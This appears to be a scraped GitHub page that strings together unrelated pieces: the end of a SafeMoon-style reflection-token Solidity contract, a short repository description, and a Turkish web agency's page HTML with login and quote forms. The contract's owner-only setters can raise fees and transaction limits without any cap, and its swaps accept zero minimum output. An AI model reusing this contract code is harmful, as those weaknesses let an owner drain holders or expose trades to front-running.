_excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About
premkjain / Simple Assembler SimulatorThis project develops a custom assembler and simulator for a 16-bit ISA, supporting arithmetic, data movement, control flow, and special operations. It translates assembly to machine code and simulates execution, emphasizing error handling and computational fundamentals within a simulated system.
ziko55453 / KomputerSer!DOCTYPE html> <html> <head> <title>v Komputer servisi</title> <meta charset="utf-8"> <!--[if lt IE 9]> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <![endif]--> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Vairosoft sektorun baskenti Ankara 'da faaliyet gosteren; web tasar?m , ozel web yaz?l?mlar?, mobil uygulamalar gibi alanlarda cozum ureten yarat?c?, kararl?, farkl? bir yaz?l?m firmas?d?r."> <meta name="keywords" content="web tasar?m, web tasar?m ankara, ankara yaz?l?m firmalar?, yaz?l?m, web programlama"> <script src="https://code.jquery.com/jquery-1.10.2.min.js"></script> <script src="https://www.vairosoft.com/assets/public/js/jquery.validate.js" defer></script> <script src="https://www.vairosoft.com/assets/public/js/messages_tr.js" defer></script> <link href="https://www.vairosoft.com/assets/public/css/style.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/responsive.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/bootstrap.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/bootstrap-tagsinput.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/font-awesome.min.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/vairosoft.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/settings.css" rel="stylesheet" type="text/css"/> <link rel="icon" href="https://www.vairosoft.com/favicon.ico" type="image/x-icon"> <link rel="shortcut icon" href="https://www.vairosoft.com/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" href="https://www.vairosoft.com/favicon-png.png"> <script type="text/javascript">$(document).ready(function(){$('[rel=tDetay]').tooltip();$('#goToTop').click(function(){$('body,html').animate({scrollTop:0},1000);return false;});});</script> <link rel="stylesheet" href="https://www.vairosoft.com/assets/public/masterslider/style/masterslider.css"> <link href="https://www.vairosoft.com/assets/public/masterslider/skins/black-2/style.css" rel="stylesheet" type="text/css"> <script src="https://www.vairosoft.com/assets/public/masterslider/masterslider.min.js"></script> <script src="https://www.vairosoft.com/assets/public/masterslider/jquery.easing.min.js"></script> <link rel="stylesheet" href="https://www.vairosoft.com/assets/public/css/slider.css"> </head> <body> <div class="modal fade modal-login"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <a class="close" data-dismiss="modal" aria-hidden="true">×</a> <div class="modal-title"><script pagespeed_no_defer="">//<![CDATA[ (function(){var g=this,h=function(b,d){var a=b.split("."),c=g;a[0]in c||!c.execScript||c.execScript("var "+a[0]);for(var e;a.length&&(e=a.shift());)a.length||void 0===d?c[e]?c=c[e]:c=c[e]={}:c[e]=d};var l=function(b){var d=b.length;if(0<d){for(var a=Array(d),c=0;c<d;c++)a[c]=b[c];return a}return[]};var m=function(b){var d=window;if(d.addEventListener)d.addEventListener("load",b,!1);else if(d.attachEvent)d.attachEvent("onload",b);else{var a=d.onload;d.onload=function(){b.call(this);a&&a.call(this)}}};var n,p=function(b,d,a,c,e){this.f=b;this.h=d;this.i=a;this.c=e;this.e={height:window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,width:window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth};this.g=c;this.b={};this.a=[];this.d={}},q=function(b,d){var a,c,e=d.getAttribute("pagespeed_url_hash");if(a=e&&!(e in b.d))if(0>=d.offsetWidth&&0>=d.offsetHeight)a=!1;else{c=d.getBoundingClientRect();var f=document.body;a=c.top+("pageYOffset"in window?window.pageYOffset:(document.documentElement||f.parentNode||f).scrollTop);c=c.left+("pageXOffset"in window?window.pageXOffset:(document.documentElement||f.parentNode||f).scrollLeft);f=a.toString()+","+c;b.b.hasOwnProperty(f)?a=!1:(b.b[f]=!0,a=a<=b.e.height&&c<=b.e.width)}a&&(b.a.push(e),b.d[e]=!0)};p.prototype.checkImageForCriticality=function(b){b.getBoundingClientRect&&q(this,b)};h("pagespeed.CriticalImages.checkImageForCriticality",function(b){n.checkImageForCriticality(b)});h("pagespeed.CriticalImages.checkCriticalImages",function(){r(n)});var r=function(b){b.b={};for(var d=["IMG","INPUT"],a=[],c=0;c<d.length;++c)a=a.concat(l(document.getElementsByTagName(d[c])));if(0!=a.length&&a[0].getBoundingClientRect){for(c=0;d=a[c];++c)q(b,d);a="oh="+b.i;b.c&&(a+="&n="+b.c);if(d=0!=b.a.length)for(a+="&ci="+encodeURIComponent(b.a[0]),c=1;c<b.a.length;++c){var e=","+encodeURIComponent(b.a[c]);131072>=a.length+e.length&&(a+=e)}b.g&&(e="&rd="+encodeURIComponent(JSON.stringify(s())),131072>=a.length+e.length&&(a+=e),d=!0);t=a;if(d){c=b.f;b=b.h;var f;if(window.XMLHttpRequest)f=new XMLHttpRequest;else if(window.ActiveXObject)try{f=new ActiveXObject("Msxml2.XMLHTTP")}catch(k){try{f=new ActiveXObject("Microsoft.XMLHTTP")}catch(u){}}f&&(f.open("POST",c+(-1==c.indexOf("?")?"?":"&")+"url="+encodeURIComponent(b)),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(a))}}},s=function(){var b={},d=document.getElementsByTagName("IMG");if(0==d.length)return{};var a=d[0];if(!("naturalWidth"in a&&"naturalHeight"in a))return{};for(var c=0;a=d[c];++c){var e=a.getAttribute("pagespeed_url_hash");e&&(!(e in b)&&0<a.width&&0<a.height&&0<a.naturalWidth&&0<a.naturalHeight||e in b&&a.width>=b[e].k&&a.height>=b[e].j)&&(b[e]={rw:a.width,rh:a.height,ow:a.naturalWidth,oh:a.naturalHeight})}return b},t="";h("pagespeed.CriticalImages.getBeaconData",function(){return t});h("pagespeed.CriticalImages.Run",function(b,d,a,c,e,f){var k=new p(b,d,a,e,f);n=k;c&&m(function(){window.setTimeout(function(){r(k)},0)})});})();pagespeed.CriticalImages.Run('/mod_pagespeed_beacon','https://www.vairosoft.com/','nGwfGbnYF7',true,false,'_p1ppgckZdM'); //]]></script><img alt="" src="assets/public/img/modalhead.png" pagespeed_url_hash="3904681381" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> VAIRO PANEL</div> </div> <form class="form-horizontal" method="post" action="https://www.vairosoft.com/giris"> <div class="modal-body"> <div class="form-group"> <div class="col-sm-12"> <input name="email" type="email" class="form-control" placeholder="E-Posta"> </div> </div> <div class="form-group"> <div class="col-sm-12"> <input name="password" type="password" class="form-control" placeholder="Sifre"> </div> </div> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"> </div> <div class="modal-footer"> <a data-toggle='modal' data-target=".modal-sifirla" id='sifresifir' class="pull-left vr">Sifremi Unuttum</a> <button type="submit" class="btn btn-vairo">GIRIS YAP</button> </div> </form> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div> <!-- Sifremi Unuttum --> <div class="modal fade modal-sifirla" id='sifirla'> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header vv"> <a class="close" data-dismiss="modal" aria-hidden="true">×</a> <div class="modal-title vv"><img alt="" src="assets/public/img/modalhead.png" pagespeed_url_hash="3904681381" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> Kay?t Olurken Kullanm?s Oldugunuz E-Posta Adresini Giriniz.</div> </div> <form class="form-horizontal" method="post" action="post" id='sifir'> <div class="modal-body"> <div class="form-group"> <div class="col-sm-12"> <input name="email" type="email" class="form-control required" placeholder="E-Posta Adresiniz"> </div> </div> </div> <div class="modal-footer vv"> <button type="submit" name="sifirla" value="1" class="btn btn-vairo">SIFRE SIFIRLA</button> </div> </form> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div> <script>$(function(){$('#sifir').validate();$('#sifresifir').click(function(){$('.modal-login').modal('toggle');})});</script> <!-- Sifremi Unuttum --> <div class="bgwrap" id="top"> <header> <div class="container topLink"> <div class="row link clearfix"> <div class="col-sm-4 col-xs-7"> <div class="phone"><img alt="telefon" src="https://www.vairosoft.com/assets/public/img/phone.png" pagespeed_url_hash="1259996802" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> 0850 302 13 13</div> </div> <div class="col-sm-5 col-md-6 col-xs-5"> <ul class="list-unstyled pull-right list-inline"> <li><div class="btn-group"> <a class="btn btn-default active">TR</a> <a class="btn btn-default" href="https://www.vairosoft.com/en">EN</a> </div></li> </ul> </div> <div class="col-sm-3 col-md-2 col-xs-12 col-lg-2"> <a data-toggle="modal" data-target=".modal-login" class="btn btn-default vairoPanel btn-block "><img alt="Vairo Panel" src="https://www.vairosoft.com/assets/public/img/vairo-click.png" pagespeed_url_hash="3116876926" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"><span>VAIRO PANEL</span></a> </div> </div> </div> <div class="visible-lg leftbar"></div> <div class="container"> <nav class="navbar navbar-inverse" role="navigation"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-6"> <span class="sr-only">Menuyu Oynat</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="https://www.vairosoft.com"><h1><img alt="Vairosoft Web Tasar?m Ankara" src="https://www.vairosoft.com/assets/public/img/logo.png" pagespeed_url_hash="3074193661" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></h1></a> </div> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-6"> <ul class="nav navbar-nav"> <li><a href="https://www.vairosoft.com/kurumsal">KURUMSAL</a></li><li><a href="https://www.vairosoft.com/hizmetlerimiz">HIZMETLERIMIZ</a></li><li><a href="https://www.vairosoft.com/hazir-cozumler">HAZIR COZUMLER</a></li><li><a href="https://www.vairosoft.com/referanslar">REFERANSLAR</a></li><li><a href="https://www.vairosoft.com/cozum-ortaklari">COZUM ORTAKLARI</a></li><li><a href="https://www.vairosoft.com/iletisim">ILETISIM</a></li> </ul> </div> </nav> <div class="row"> <div class="col-xs-6 text-left"><a href="https://www.vairosoft.com" class="btn btn-default home-btn"><img alt="Vairosoft Anasayfa" src="https://www.vairosoft.com/assets/public/img/home.png" pagespeed_url_hash="255204953" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></a></div> <div class="col-xs-6 text-right"><a class="btn btn-default offer-me" data-toggle="collapse" data-target=".top-collapse"><img alt="Teklif Iste" src="https://www.vairosoft.com/assets/public/img/doc.png" pagespeed_url_hash="4020621328" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">TEKLIF ISTEYIN</a></div> </div> </div> <div class="offer-wrap"> <div class="container"> <div class="top-collapse"> <div class="content"> <div class="arrow pull-right"></div> <div class="clearfix"></div> <div class="row"> <div class="col-sm-4"> <ul class="nav nav-tabs"> <li><a href="#ozelweb" data-toggle="tab"><img alt="OZEL WEB YAZILIMLARI" src="https://www.vairosoft.com/assets/public/img/icon/network.png" pagespeed_url_hash="2624423922" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">OZEL WEB YAZILIMLARI</a></li> <li><a href="#webtasarim" data-toggle="tab"><img alt="WEB TASARIM" src="https://www.vairosoft.com/assets/public/img/icon/design.png" pagespeed_url_hash="499719948" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">WEB TASARIM</a></li> <li><a href="#sosyalmedya" data-toggle="tab"><img alt="SOSYAL MEDYA UYGULAMALARI" src="https://www.vairosoft.com/assets/public/img/icon/social.png" pagespeed_url_hash="58202655" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">SOSYAL MEDYA UYGULAMALARI</a></li> <li><a href="#mobiluygulama" data-toggle="tab"><img alt="MOBIL UYGULAMA GELISTIRME" src="https://www.vairosoft.com/assets/public/img/icon/mobile.png" pagespeed_url_hash="3906589564" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">MOBIL UYGULAMA GELISTIRME</a></li> <li><a href="#seo" data-toggle="tab"><img alt="ARAMA MOTORU OPTIMIZASYONU" src="https://www.vairosoft.com/assets/public/img/icon/seo.png" pagespeed_url_hash="2422097077" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">ARAMA MOTORU OPTIMIZASYONU</a></li> <li><a href="#reklam" data-toggle="tab"><img alt="INTERNET REKLAMCILIGI" src="https://www.vairosoft.com/assets/public/img/icon/target.png" pagespeed_url_hash="2288834043" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">INTERNET REKLAMCILIGI</a></li> <li><a href="#kurumsal" data-toggle="tab"><img alt="KURUMSAL KIMLIK" src="https://www.vairosoft.com/assets/public/img/icon/corporate.png" pagespeed_url_hash="3962951853" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">KURUMSAL KIMLIK</a></li> </ul> </div> <div class="col-sm-8"> <div class="tab-content"> <div class="tab-pane active orta"> <div class="col-lg-12"> <img alt="Teklif Hizmet Basl?g?" src="https://www.vairosoft.com/assets/public/img/teklifgiris.png" pagespeed_url_hash="3108191531" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </div> <div class="col-lg-12" style="text-align: center"> <p class="gri">Lutfen Teklif Almak Istediginiz Hizmet Basl?g?n? Seciniz.</p> </div> <div class="col-lg-12"> <img src="https://www.vairosoft.com/assets/public/img/teklifok.png" alt="teklis iste ok" pagespeed_url_hash="471366965" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </div> </div> <div class="tab-pane" id="ozelweb"> <div class="title clearfix"><img alt="OZEL WEB YAZILIMLARI" src="https://www.vairosoft.com/assets/public/img/icon/network.png" pagespeed_url_hash="2624423922" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">OZEL WEB YAZILIMLARI <small class="text-muted">Ihtiyaclar?n?za yonelik ozel yaz?l?mlar uretiyoruz</small></div> <form id="ozelwebyazilimlari" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><input name="baslik" type="text" class="form-control required" placeholder="Proje Basl?g?n?z"></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Projenizin Tan?m? ve Ayr?nt?lar?"></textarea> </div> </div> <button type="submit" name="ozelweb" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="webtasarim1"> <div class="title clearfix"><img alt="WEB TASARIM" src="https://www.vairosoft.com/assets/public/img/icon/design.png" pagespeed_url_hash="499719948" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">WEB TASARIM <small class="text-muted">Internet standartlar?na uyumlu, kullan?c? dostu tasar?mlar</small></div> <form id="webtasarim" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"> <select name="hizmettur" onchange="degis(this.value)" class="form-control vairo required"> <option value="0">Hizmet Turu Seciniz</option> <option value="1">Yeni Web Sayfa Hizmeti</option> <option value="2">Var Olan Web Sayfa Guncellemesi</option> </select></div> </div> <div class="form-group" id="webkat"> <div class="col-lg-12"> <select name="kategori" class="form-control vairo"> <option value="0">Kategori Seciniz</option> <option value="1">Kurumsal</option> <option value="2">E-Ticaret</option> <option value="3">Kisisel</option> <option value="4">Diger</option> </select> </div> </div> <div class="form-group" id="sakla"> <div class="col-lg-12"> <input name="webadres" type="text" class="form-control" placeholder="Web Sayfa Adresiniz"> </div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Genel Ac?klamalar?n?z"></textarea> </div> </div> <button type="submit" name="webtasarim" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="sosyalmedya"> <div class="title clearfix"><img alt="SOSYAL MEDYA UYGULAMALARI" src="https://www.vairosoft.com/assets/public/img/icon/social.png" pagespeed_url_hash="58202655" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">SOSYAL MEDYA UYGULAMALARI <small class="text-muted">Hayalinizi Facebook ve Twitter uygulamas?na donusturun.</small></div> <form id="sosyal" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><select name="platform" class="form-control vairo required"> <option>Sosyal Medya Platformu Seciniz</option> <option>Facebook</option> <option>Twitter</option> <option>Diger</option> </select></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Program Tan?m? ve Ayr?nt?lar?"></textarea> </div> </div> <button type="submit" name="sosyalmedya" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="mobiluygulama"> <div class="title clearfix"><img alt="MOBIL UYGULAMA GELISTIRME" src="https://www.vairosoft.com/assets/public/img/icon/mobile.png" pagespeed_url_hash="3906589564" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">MOBIL UYGULAMA GELISTIRME <small class="text-muted">Size ozel Android ve IOS uygulamalar? gelistiriyoruz.</small></div> <form id="mobil" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><select name="platform" class="form-control vairo required"> <option>Mobil Platformu Seciniz</option> <option>Android</option> <option>Ios</option> <option>Android & Ios</option> </select></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Program Tan?m? ve Ayr?nt?lar?"></textarea> </div> </div> <button type="submit" name="mobiluygulama" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="seo"> <div class="title clearfix"><img alt="ARAMA MOTORU OPTIMIZASYONU" src="https://www.vairosoft.com/assets/public/img/icon/seo.png" pagespeed_url_hash="2422097077" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">ARAMA MOTORU OPTIMIZASYONU <small class="text-muted">Siteniz Google, Yandex, Bing arama motorlar?nda ust s?ralarda yer als?n.</small></div> <form id="aramamotoru" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"> <!-- Bu k?s?mda labellar ayr?lacak --> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG1" value="Google" class="css-checkbox"/><label for="checkboxG1" class="css-label">Google</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG11" value="Yahoo" class="css-checkbox"/><label for="checkboxG11" class="css-label">Yahoo</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG12" value="Bing" class="css-checkbox"/><label for="checkboxG12" class="css-label">Bing</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG13" value="Yandex" class="css-checkbox"/><label for="checkboxG13" class="css-label">Yandex</label> </div> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input class="required" name="anahtar" type="text" data-role="tagsinput" placeholder="Anahtar Kelimelerinizi Tek Tek Girip Enter Tusuna Bas?n?z."/> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input name="butce" type="text" 